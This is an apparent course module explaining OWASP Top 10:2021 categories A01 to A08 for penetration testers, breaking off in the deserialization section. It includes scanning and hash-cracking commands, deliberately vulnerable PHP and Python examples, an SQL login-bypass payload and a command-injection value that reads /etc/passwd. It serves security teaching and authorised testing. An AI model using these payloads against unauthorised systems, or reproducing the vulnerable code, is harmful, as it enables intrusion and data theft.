&lt;p&gt;The Open Web Application Security Project (OWASP) is a nonprofit foundation founded in 2001, dedicated to improving software security through community-produced open-source documentation, tools, and research. Everything OWASP produces is freely available to everyone — no paywalls, no licenses, no restrictions.&lt;/p&gt;

&lt;p&gt;Their most influential output is the &lt;strong&gt;OWASP Top 10&lt;/strong&gt;: a data-driven, consensus-based list of the ten most critical security risks in web applications. The list is compiled by analyzing data from hundreds of organizations worldwide covering millions of applications, supplemented by a community survey of security professionals. It is updated approximately every three to four years to reflect changes in the threat landscape.&lt;/p&gt;

&lt;p&gt;The OWASP Top 10 is not just an academic exercise. It is referenced in regulatory frameworks (PCI DSS requires testing against the OWASP Top 10 for in-scope web applications), contractual requirements (enterprise security assessments specify OWASP coverage), and certifications (CompTIA PenTest+, CEH, OSCP all test knowledge of these categories). If you work in web application security at any level, the OWASP Top 10 is the vocabulary you think and communicate in.&lt;/p&gt;

&lt;p&gt;The current official version is &lt;strong&gt;OWASP Top 10:2021&lt;/strong&gt;, which remains the primary reference as of 2025–2026. OWASP published a 2025 Release Candidate with notable category changes; we cover both versions here.&lt;/p&gt;
&lt;h3&gt;
  
  
  A01:2021 — Broken Access Control
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;The #1 most prevalent web vulnerability. Found in 3.81% of all tested applications — more than any other category.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Access control is the mechanism that determines what authenticated users are permitted to do. It answers the question: "This user is authenticated — but are they authorized to do THIS specific thing?"&lt;/p&gt;

&lt;p&gt;Broken access control means these checks are absent, incomplete, or bypassable. The impact ranges from one user reading another user's data to a regular user gaining administrative control of the entire application.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The core failure:&lt;/strong&gt; Access control is often enforced only at the UI level. The admin link is hidden from regular users in the navigation menu. The premium feature button is grayed out for free users. But the server-side endpoints behind these UI elements accept any authenticated request — they do not verify whether the authenticated user has the permission level required. Remove the UI restriction, and you have full access to what was supposed to be restricted.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IDOR — Insecure Direct Object Reference:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The most common and most impactful manifestation of broken access control. An application exposes internal object identifiers — database IDs, filenames, record numbers — directly to users, and does not verify that the requesting user is authorized to access the specific object requested.&lt;/p&gt;

&lt;p&gt;Classic example: A healthcare portal lets patients view their medical records at &lt;code&gt;/api/records/8812&lt;/code&gt;. Patient Alice has ID 8812. She notices the ID in the URL and wonders: what happens if she changes it to 8813? If the server returns another patient's records without checking that Alice is authorized to access record 8813, this is a critical IDOR vulnerability. Patient medical records, financial data, personal information — all exposed to any authenticated user who can enumerate IDs.&lt;/p&gt;

&lt;p&gt;The reason IDOR is so prevalent: developers add authentication ("you must be logged in") but forget authorization ("you must own this resource"). These are different controls. Authentication proves who you are. Authorization proves what you are allowed to do.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;During penetration testing, IDOR discovery looks like this:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Find any numeric ID in a URL or request parameter — user IDs, order IDs, document IDs, message IDs, invoice IDs. Systematically modify these values: increment, decrement, try neighboring values. Use Burp Suite's Intruder to enumerate a range automatically. If the server returns data for IDs belonging to other users, you have confirmed IDOR. For APIs that use less obvious object references (UUIDs instead of sequential integers), look for leaked IDs in other parts of the application — a UUID might appear in one API response and be reusable as a reference in a different API call.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Forced Browsing — Accessing Hidden Endpoints Directly:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The application's UI does not show the admin panel to regular users. But the admin panel still exists at &lt;code&gt;/admin/dashboard&lt;/code&gt;. Does the server check the user's role before serving it?&lt;/p&gt;

&lt;p&gt;Testing process: Use directory brute forcing (gobuster, ffuf, dirbuster) to discover endpoints. Then attempt to access them while authenticated as a regular user. Compare what a regular user can access versus what an administrator can access. Any endpoint accessible to the wrong user level is a finding.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Directory brute force to discover hidden admin paths&lt;/span&gt;
gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt &lt;span class="nt"&gt;-x&lt;/span&gt; php,html,aspx,jsp &lt;span class="nt"&gt;-b&lt;/span&gt; 404,403

&lt;span class="c"&gt;# More targeted admin path enumeration&lt;/span&gt;
ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com/FUZZ &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/big.txt &lt;span class="nt"&gt;-fc&lt;/span&gt; 404 &lt;span class="nt"&gt;-mc&lt;/span&gt; 200,301,302,403
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that 403 responses during directory brute forcing are high-value findings — they indicate the path exists and requires authorization, making them candidates for access control bypass testing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTP Method Manipulation:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The application correctly blocks &lt;code&gt;GET /admin/users&lt;/code&gt; for regular users. But &lt;code&gt;POST /admin/users&lt;/code&gt; with a body containing the same parameters? Or &lt;code&gt;PUT /admin/users/1042&lt;/code&gt;? Many access control implementations check the method and route together rather than checking the resource and the user's permissions independently. Test every HTTP method against every endpoint.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Parameter Tampering:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Hidden form fields, URL parameters, and JSON body fields sometimes carry role or privilege information that the server trusts without server-side verification. A request body containing &lt;code&gt;{"role": "user", "action": "view_report"}&lt;/code&gt; that the attacker changes to &lt;code&gt;{"role": "admin", "action": "view_report"}&lt;/code&gt; — does the server accept the user-supplied role? It should not. But many do.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tools for Automated IDOR Testing:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Autorize&lt;/strong&gt; (Burp Suite extension): Automatically replays every request you make as a higher-privileged user with a lower-privileged user's session, flagging requests where the lower-privileged user receives equivalent access&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AuthMatrix&lt;/strong&gt; (Burp Suite extension): Maps out which users should have access to which endpoints and highlights violations&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  A02:2021 — Cryptographic Failures
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Previously called "Sensitive Data Exposure" — renamed to focus on the root cause rather than the symptom.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This category covers every failure to protect sensitive data with appropriate cryptography — when data should be encrypted but is not, when it is encrypted but with algorithms too weak to provide real protection, or when encryption is implemented incorrectly in ways that defeat its security properties.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Passwords stored incorrectly:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Passwords must never be stored as plaintext. This is elementary. But what is the correct alternative?&lt;/p&gt;

&lt;p&gt;Many developers know "hash the password" but do not know which hash to use. MD5 is NOT acceptable. SHA-1 is NOT acceptable. SHA-256 without a salt is NOT acceptable. These are fast hashing algorithms — designed to process large amounts of data quickly, which means an attacker with a GPU can compute billions of hashes per second and crack a database of MD5 passwords in hours.&lt;/p&gt;

&lt;p&gt;The correct solution is password hashing algorithms specifically designed to be slow and memory-intensive: &lt;strong&gt;bcrypt&lt;/strong&gt;, &lt;strong&gt;scrypt&lt;/strong&gt;, &lt;strong&gt;Argon2&lt;/strong&gt;, or &lt;strong&gt;PBKDF2&lt;/strong&gt;. These are deliberately slow — a bcrypt operation with a work factor of 12 takes approximately 300 milliseconds. That is long enough to frustrate fast brute-force cracking while being imperceptible to users. Argon2id (the 2015 Password Hashing Competition winner) is currently the strongest recommendation.&lt;/p&gt;

&lt;p&gt;During a penetration test, discovering a database with MD5-hashed passwords is a critical finding. You can demonstrate impact by cracking several hashes with hashcat against the rockyou.txt wordlist — this typically cracks 30-60% of a real-world password database within minutes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Crack MD5 hashes from a database dump&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 0 md5_hashes.txt /usr/share/wordlists/rockyou.txt

&lt;span class="c"&gt;# Crack bcrypt (much slower even with GPU)&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 3200 bcrypt_hashes.txt /usr/share/wordlists/rockyou.txt

&lt;span class="c"&gt;# Crack SHA-256 without salt&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 1400 sha256_hashes.txt /usr/share/wordlists/rockyou.txt &lt;span class="nt"&gt;--rules-file&lt;/span&gt; /usr/share/hashcat/rules/best64.rule
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Transmitting data over HTTP instead of HTTPS:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Any sensitive data sent over plaintext HTTP is readable to any network observer. This includes login credentials, session cookies, API keys, personal information, financial data, and medical records.&lt;/p&gt;

&lt;p&gt;Testing this: Visit the application over HTTP (&lt;code&gt;http://&lt;/code&gt; not &lt;code&gt;https://&lt;/code&gt;). Does it redirect to HTTPS? Or does it serve the login form over HTTP? Submit the login form and watch in Burp — are credentials transmitted in cleartext? Check whether the &lt;code&gt;Secure&lt;/code&gt; flag is missing from session cookies (which means they can be transmitted over HTTP).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TLS version and cipher suite weaknesses:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Even when HTTPS is used, weak TLS configurations create vulnerabilities.&lt;/p&gt;

&lt;p&gt;Testing TLS configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# testssl.sh — comprehensive TLS security test&lt;/span&gt;
testssl.sh https://target.com

&lt;span class="c"&gt;# sslscan — cipher suite enumeration&lt;/span&gt;
sslscan target.com

&lt;span class="c"&gt;# nmap TLS scripts&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ssl-enum-ciphers &lt;span class="nt"&gt;-p&lt;/span&gt; 443 target.com

&lt;span class="c"&gt;# Online: SSL Labs provides detailed TLS analysis&lt;/span&gt;
&lt;span class="c"&gt;# https://www.ssllabs.com/ssltest/analyze.html?d=target.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look for: TLS 1.0 or 1.1 support (deprecated — vulnerable to BEAST, POODLE), weak cipher suites (RC4, 3DES, export-grade ciphers), expired or self-signed certificates, missing HSTS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sensitive data in unexpected places:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Sensitive data appears in places developers do not think to check: JavaScript files (hardcoded API keys, internal endpoint paths, debug credentials), HTML comments (developer notes often contain environment details, passwords, internal system names), error messages (stack traces, SQL queries, file paths), log files accessible via the web, backup files (&lt;code&gt;.bak&lt;/code&gt;, &lt;code&gt;.old&lt;/code&gt;, &lt;code&gt;.swp&lt;/code&gt;, &lt;code&gt;.~&lt;/code&gt;, database dump files).&lt;/p&gt;

&lt;p&gt;Testing this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Search JavaScript files for secrets&lt;/span&gt;
&lt;span class="c"&gt;# In Burp: Spider the application, review all JS files in the site map&lt;/span&gt;
&lt;span class="c"&gt;# Tools: trufflehog, gitleaks (for repositories)&lt;/span&gt;
&lt;span class="c"&gt;# grep for patterns in downloaded JS files:&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"api_key&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;apikey&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;password&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;secret&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;token"&lt;/span&gt; /path/to/js/files/

&lt;span class="c"&gt;# Directory brute force targeting common sensitive file extensions&lt;/span&gt;
gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt &lt;span class="nt"&gt;-x&lt;/span&gt; bak,old,sql,env,config,backup,zip,tar,gz
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  A03:2021 — Injection
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;The most thoroughly tested category — 94% of tested applications were tested for injection vulnerabilities. Still causes some of the most devastating breaches.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Injection is conceptually simple: user-controlled input is interpreted as code by an interpreter (SQL database, OS shell, LDAP server, XML parser, template engine). The application fails to distinguish between the command structure and the data — user input is part of the command rather than a safely isolated parameter.&lt;/p&gt;

&lt;p&gt;This entire category is covered in exhaustive detail in &lt;strong&gt;Section 6.4&lt;/strong&gt;. Here we establish the conceptual foundation:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SQL Injection&lt;/strong&gt; is the most impactful injection type. A web application builds database queries by concatenating user input:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// VULNERABLE code (PHP example)&lt;/span&gt;
&lt;span class="nv"&gt;$username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'username'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"SELECT * FROM users WHERE username='&lt;/span&gt;&lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="s2"&gt;' AND password='&lt;/span&gt;&lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="s2"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If an attacker enters &lt;code&gt;admin'--&lt;/code&gt; as the username, the resulting query becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'admin'&lt;/span&gt;&lt;span class="c1"&gt;--' AND password='anything'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;--&lt;/code&gt; comments out the rest of the SQL query. The password check disappears. This is authentication bypass — the attacker is logged in as admin without knowing the password.&lt;/p&gt;

&lt;p&gt;This vulnerability has ended careers, bankrupted companies, and exposed hundreds of millions of records. And it is trivially preventable: use parameterized queries (prepared statements) that treat user input as data, never as part of the SQL syntax.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OS Command Injection&lt;/strong&gt; occurs when user input is passed to shell commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# VULNERABLE code (Python example)
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;filename&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;convert &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; output.pdf&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the user provides &lt;code&gt;; cat /etc/passwd&lt;/code&gt; as the filename, the command becomes &lt;code&gt;convert ; cat /etc/passwd output.pdf&lt;/code&gt;. The shell executes both commands — the conversion and the file read. Impact: arbitrary operating system command execution on the server.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cross-Site Scripting (XSS)&lt;/strong&gt; is now classified under Injection because it shares the same root cause: user input is interpreted as code (HTML/JavaScript) rather than data. XSS is important enough that it appears as its own OWASP entry in some discussions and has its own dedicated section in this module (Section 6.7).&lt;/p&gt;

&lt;h3&gt;
  
  
  A04:2021 — Insecure Design
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;New in 2021. The only category that cannot be fixed with a patch — it requires redesigning the feature.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Insecure design is different from implementation vulnerabilities. An implementation vulnerability means the code could have been written correctly but was not. Insecure design means the design itself is fundamentally flawed — no matter how well the code implements it, the design creates unacceptable risk.&lt;/p&gt;

&lt;p&gt;Examples that illustrate the distinction:&lt;/p&gt;

&lt;p&gt;A password reset feature that works by sending a new password in the email is insecure by design. It does not matter how securely the new password is generated, how carefully the email is formatted, how properly the database is updated. The design decision — delivering credentials in email — is the vulnerability. The correct design is sending a time-limited, single-use reset link.&lt;/p&gt;

&lt;p&gt;A rate limiting system that only counts failed logins from the same IP address is insecure by design against distributed credential stuffing. An attacker using a botnet of thousands of IPs makes one attempt per IP — each attempt is below the per-IP rate limit, but collectively the attack proceeds unimpeded. A design that considers the velocity of attempts against a specific account, regardless of source IP, is fundamentally more sound.&lt;/p&gt;

&lt;p&gt;A ticket booking system that allows unlimited "hold" reservations without completing purchase enables a denial-of-service attack on ticket availability. No implementation detail changes this — it is a design that does not account for abuse.&lt;/p&gt;

&lt;p&gt;Identifying insecure design requires security thinking during the design phase — threat modeling, security requirements analysis, and adversarial thinking before code is written. For penetration testers, this means understanding business logic well enough to identify how legitimate features can be abused in ways that are not bugs in the traditional sense.&lt;/p&gt;

&lt;h3&gt;
  
  
  A05:2021 — Security Misconfiguration
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;The broadest category — affects every layer of the technology stack, from the web server to the cloud configuration.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Security misconfiguration is any situation where a system is technically capable of being secure but has been deployed in an insecure configuration. This is perhaps the most common finding in real-world web application assessments because it requires neither implementation expertise nor sophisticated attack techniques — often just knowing where to look.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Default credentials:&lt;/strong&gt; Factory-default usernames and passwords on network devices, database servers, application admin consoles, and management interfaces. Shodan finds millions of devices with default credentials. &lt;code&gt;admin:admin&lt;/code&gt;, &lt;code&gt;admin:password&lt;/code&gt;, &lt;code&gt;root:root&lt;/code&gt;, &lt;code&gt;cisco:cisco&lt;/code&gt; — these credentials, which manufacturers set for initial configuration and expect to be changed, are often never changed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Debug mode and verbose error messages:&lt;/strong&gt; Every major web framework has a debug mode intended for development that provides detailed error information — stack traces, SQL queries, file paths, configuration values — in HTTP responses. In production, this information is a reconnaissance goldmine for attackers. A single 500 error page in debug mode can reveal the entire technology stack, database schema, internal network addressing, and application architecture.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Unnecessary services enabled:&lt;/strong&gt; A server configured to run both HTTPS (necessary) and FTP, Telnet, and SNMP (unnecessary legacy services with known vulnerabilities). An application server with SSH enabled on all interfaces. A web server with directory listing enabled, allowing attackers to browse the file structure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cloud storage misconfigurations:&lt;/strong&gt; Public S3 buckets (AWS), public Blob containers (Azure), public GCS buckets (Google Cloud) are the most common and most impactful misconfiguration in cloud environments. An S3 bucket configured for public access exposes every file stored in it to anyone on the internet. Billions of sensitive records have been exposed this way. The names of buckets often follow predictable patterns based on the company name.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Test for public S3 buckets&lt;/span&gt;
aws s3 &lt;span class="nb"&gt;ls &lt;/span&gt;s3://company-name &lt;span class="nt"&gt;--no-sign-request&lt;/span&gt;
aws s3 &lt;span class="nb"&gt;ls &lt;/span&gt;s3://company-backups &lt;span class="nt"&gt;--no-sign-request&lt;/span&gt;
aws s3 &lt;span class="nb"&gt;ls &lt;/span&gt;s3://company-production &lt;span class="nt"&gt;--no-sign-request&lt;/span&gt;

&lt;span class="c"&gt;# S3Scanner for systematic bucket enumeration&lt;/span&gt;
s3scanner scan &lt;span class="nt"&gt;--bucket&lt;/span&gt; company-name
s3scanner scan &lt;span class="nt"&gt;--bucket-file&lt;/span&gt; probable_bucket_names.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Missing HTTP security headers:&lt;/strong&gt; As enumerated in the HTTP headers section above — missing CSP, X-Frame-Options, HSTS, X-Content-Type-Options. Each missing header enables specific attack classes.&lt;/p&gt;

&lt;h3&gt;
  
  
  A06:2021 — Vulnerable and Outdated Components
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;The vulnerability that caused the Equifax breach — 147 million records — and countless others.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Modern web applications are composed largely of third-party components: JavaScript frameworks, npm packages, Python pip packages, Java Maven dependencies, WordPress plugins, Ruby gems, operating system packages. Each component has its own vulnerability history. Running outdated versions means running known vulnerabilities that attackers can exploit with publicly available tools.&lt;/p&gt;

&lt;p&gt;The Equifax breach is the defining case study. In May 2017, Apache disclosed CVE-2017-5638 — a critical remote code execution vulnerability in Apache Struts 2. They released a patch on the same day. Equifax's security team was notified. They did not apply the patch. In July 2017, attackers discovered that Equifax had not patched and exploited the vulnerability to access their network. Over 76 days, attackers accessed the personal and financial records of 147.9 million Americans, including Social Security numbers, birth dates, addresses, and driver's license numbers. The vulnerability was disclosed and patched before the breach — the breach happened because the patch was not applied.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;During penetration testing, component identification works like this:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Identify component versions from HTTP headers (&lt;code&gt;Server&lt;/code&gt;, &lt;code&gt;X-Powered-By&lt;/code&gt;), HTML source code (meta tags, JavaScript file names often include version numbers like &lt;code&gt;jquery-3.3.1.min.js&lt;/code&gt;), directory structures (default paths for specific CMS versions), and response behavior.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# WhatWeb - technology identification&lt;/span&gt;
whatweb https://target.com &lt;span class="nt"&gt;-v&lt;/span&gt;

&lt;span class="c"&gt;# Wappalyzer CLI&lt;/span&gt;
wappalyzer https://target.com

&lt;span class="c"&gt;# Identify WordPress version&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://target.com/wp-includes/version.php
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://target.com/feed/"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"generator"&lt;/span&gt;

&lt;span class="c"&gt;# Check JavaScript libraries in page source for version numbers&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://target.com | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"jquery&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;bootstrap&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;angular&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;react&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;vue"&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="c"&gt;# Cross-reference identified versions against CVE database&lt;/span&gt;
searchsploit wordpress 5.7
searchsploit apache tomcat 9.0.37
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-tags&lt;/span&gt; cve &lt;span class="nt"&gt;-severity&lt;/span&gt; critical,high
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  A07:2021 — Identification and Authentication Failures
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;The entire category of "how the application knows who you are and how that can go wrong."&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Authentication is proving who you are. Identification is claiming who you are. Failures in these processes allow attackers to impersonate legitimate users or escalate their own privileges.&lt;/p&gt;

&lt;p&gt;This category is the subject of &lt;strong&gt;Section 6.5&lt;/strong&gt; in its entirety. Here we map the key failure modes:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Credential brute force and stuffing:&lt;/strong&gt; Applications that do not rate limit login attempts allow attackers to try thousands of passwords programmatically. Even with rate limiting, if no account lockout is implemented after N failures, a slow brute force with reasonable pauses remains viable. Credential stuffing — testing username/password pairs leaked in previous breaches against a new application — exploits password reuse, which research shows affects 65% of users.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Weak password policies:&lt;/strong&gt; Allowing passwords like "password", "123456", or the username itself. Not checking new passwords against known-breached password lists.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Insecure password reset:&lt;/strong&gt; A reset token that is too short (4-6 digit numeric codes susceptible to brute force), too long-lived (tokens that do not expire allow replay attacks), or sent via an insecure channel.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Session management failures:&lt;/strong&gt; As discussed in 6.1.4 — predictable session IDs, missing regeneration after authentication, no server-side invalidation on logout.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Missing or bypassable MFA:&lt;/strong&gt; Applications with no second factor, or with second factors that can be bypassed (e.g., the MFA check occurs client-side in JavaScript, or the MFA verification endpoint is accessible after the first factor without requiring the second).&lt;/p&gt;

&lt;h3&gt;
  
  
  A08:2021 — Software and Data Integrity Failures
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;The category that includes insecure deserialization and supply chain attacks.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This category covers any failure to verify the integrity of software, data, or update processes. The escalating frequency of supply chain attacks makes this category increasingly important.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Insecure deserialization&lt;/strong&gt; is the most technically complex vulnerability class in this category. Serialization converts an in-memory object to a format (byte stream, JSON, XML) for transmission or storage. Deserialization reverses this — reconstructing the object from the serialized form. Insecure deserialization occurs when applications deserialize data from untrusted sources without validation.&lt;/p&gt;

&lt;p&gt;The attack works by exploiting how the deserialization library reconstructs objects. In Java, many libraries invoke methods (particularly &lt;code&gt;readObject()&lt;/code&gt;) during deserialization. If the class library path contains classes with dangerous &lt;code&gt;readObject()&lt;/code&gt; methods — called "gadget chains" — an attacker who can provide serialized input can trigger arbitrary code execution simply by causing the dangerous method to be called during deserialization.&lt;/p&gt;

&lt;p&gt;Indicators of Java serialization in HTTP traffic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# In request body or cookie values, look for:
Content-Type: application/x-java-serialized-object
# Or Base64 values starting with: rO0A (decodes to: ac ed 00 05 - Java serialized object magic bytes)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



